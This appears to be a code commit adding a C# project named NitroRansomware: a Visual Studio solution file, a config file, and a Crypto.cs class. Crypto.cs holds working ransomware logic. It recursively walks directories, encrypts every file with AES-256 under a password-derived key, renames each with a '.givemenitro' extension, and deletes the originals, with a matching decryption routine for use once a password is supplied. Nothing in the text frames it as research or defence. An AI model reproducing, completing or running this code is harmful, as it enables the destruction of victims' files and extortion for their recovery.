Add project files.

NitroRansomware.sln

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+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.31105.61
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NitroRansomware", "NitroRansomware\NitroRansomware.csproj", "{D5E87439-21E6-4567-A877-6AD9BEE00DC9}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {7F0AD128-C26A-4F33-AB79-E5242E8EF62C}
+	EndGlobalSection
+EndGlobal

NitroRansomware/App.config

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+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+    <startup> 
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
+    </startup>
+</configuration>

NitroRansomware/Crypto.cs

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+using System;
+using System.Text;
+using System.Security.Cryptography;
+using System.IO;
+using System.Collections.Generic;
+namespace NitroRansomware
+{
+    class Crypto
+    {
+        public static int encryptedCount = 0;
+        private static Logs logging = new Logs("DEBUG", 0);
+        private static string fExtension = ".givemenitro";
+        public static string fPassword = Program.DECRYPT_PASSWORD;
+        public static string inPassword;
+        public static List<string> encryptedFileLog = new List<string>();
+        public static void EncryptContent(string path)
+        {
+            try
+            {
+                foreach (string file in Directory.GetFiles(path))
+                {
+                    if (!file.Contains(fExtension))
+                    {
+                        logging.Debug("Encrypting: " + file);
+                        encryptedFileLog.Add(file);
+                        EncryptFile(file, fPassword);
+                    }
+                }
+
+                foreach (string dire in Directory.GetDirectories(path))
+                {
+                    EncryptContent(dire);
+                }
+            }
+            catch (Exception ex)
+            {
+                logging.Error(ex.Message);
+            }
+
+        }
+        public static void DecryptContent(string path)
+        {
+            try
+            {
+                foreach (string file in Directory.GetFiles(path))
+                {
+                    if (IsEncrypted(file))
+                    {
+
+                            logging.Debug("Decrypting: " + file);
+                            DecryptFile(file, file.Substring(0, file.Length - fExtension.Length), inPassword);
+
+
+                    }
+                }
+
+                foreach (string dire in Directory.GetDirectories(path))
+                {
+                    DecryptContent(dire);
+                }
+            }
+            catch (Exception ex)
+            {
+                logging.Error(ex.Message);
+            }
+        }
+        private static bool IsEncrypted(string file)
+        {
+            if (file.Contains(fExtension))
+            {
+                if (file.Substring(file.Length - fExtension.Length, fExtension.Length) == fExtension)
+                    return true;
+            }
+            return false;
+        }
+        private static void EncryptFile(string filePath, string password)
+        {
+            byte[] salt = new byte[32];
+            RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
+            for (int x = 0; x < 10; x++)
+            {
+                rng.GetBytes(salt);
+            }
+            rng.Dispose();
+
+            FileStream fsCrypt = new FileStream(filePath + fExtension, FileMode.Create);
+            byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
+
+            RijndaelManaged AES = new RijndaelManaged();
+            AES.KeySize = 256;
+            AES.BlockSize = 128;
+            AES.Padding = PaddingMode.PKCS7;
+
+            var key = new Rfc2898DeriveBytes(passwordBytes, salt, 50000);
+            AES.Key = key.GetBytes(AES.KeySize / 8);
+            AES.IV = key.GetBytes(AES.BlockSize / 8);
+            AES.Mode = CipherMode.CBC;
+
+            fsCrypt.Write(salt, 0, salt.Length);
+
+            CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateEncryptor(), CryptoStreamMode.Write);
+            FileStream fsIn = new FileStream(filePath, FileMode.Open);
+
+            byte[] buffer = new byte[1048576];
+            int read;
+            try
+            {
+                while ((read = fsIn.Read(buffer, 0, buffer.Length)) > 0)
+                {
+                    cs.Write(buffer, 0, read);
+                }
+                fsIn.Close();
+            }
+            catch (Exception ex)
+            {
+                logging.Error(ex.Message);
+            }
+            finally
+            {
+                logging.Info("Encypted " + filePath);
+                encryptedCount++;
+                cs.Close();
+                fsCrypt.Close();
+                File.Delete(filePath);
+            }
+
+        }
+        private static void DecryptFile(string inputFile, string outputFile, string password)
+        {
+            byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password);
+            byte[] salt = new byte[32];
+
+            FileStream cryptoFileStream = new FileStream(inputFile, FileMode.Open);
+            cryptoFileStream.Read(salt, 0, salt.Length);
+
+            RijndaelManaged AES = new RijndaelManaged();
+            AES.KeySize = 256;
+            AES.BlockSize = 128;
+            var key = new Rfc2898DeriveBytes(passwordBytes, salt, 50000);
+            AES.Key = key.GetBytes(AES.KeySize / 8);
+            AES.IV = key.GetBytes(AES.BlockSize / 8);
+            AES.Padding = PaddingMode.PKCS7;
+            AES.Mode = CipherMode.CBC;
+
+            CryptoStream cryptoStream = new CryptoStream(cryptoFileStream, AES.CreateDecryptor(), CryptoStreamMode.Read);
+            FileStream fileStreamOutput = new FileStream(outputFile, FileMode.Create);
+
+            int read;
+            byte[] buffer = new byte[1048576];
+            try
+            {
+                while ((read = cryptoStream.Read(buffer, 0, buffer.Length)) > 0)
+                {
+                    fileStreamOutput.Write(buffer, 0, read);
+                }
+            }
+            catch (CryptographicException ex_CryptographicException)
+            {
+                logging.Error("CryptographicException error: " + ex_CryptographicException.Message);
+            }
+            catch (Exception ex)
+            {
+                logging.Error(ex.Message);
+            }
+            try
+            {
+                cryptoStream.Close();
+                logging.Info("Decrypted: " + inputFile);
+            }
+            catch (Exception ex)
+            {
+                logging.Error("Error by closing CryptoStream: " + ex.Message);
+            }
+            finally
+            {
+                fileStreamOutput.Close();
+                cryptoFileStream.Close();
+            }
+        }
+
+    }
+}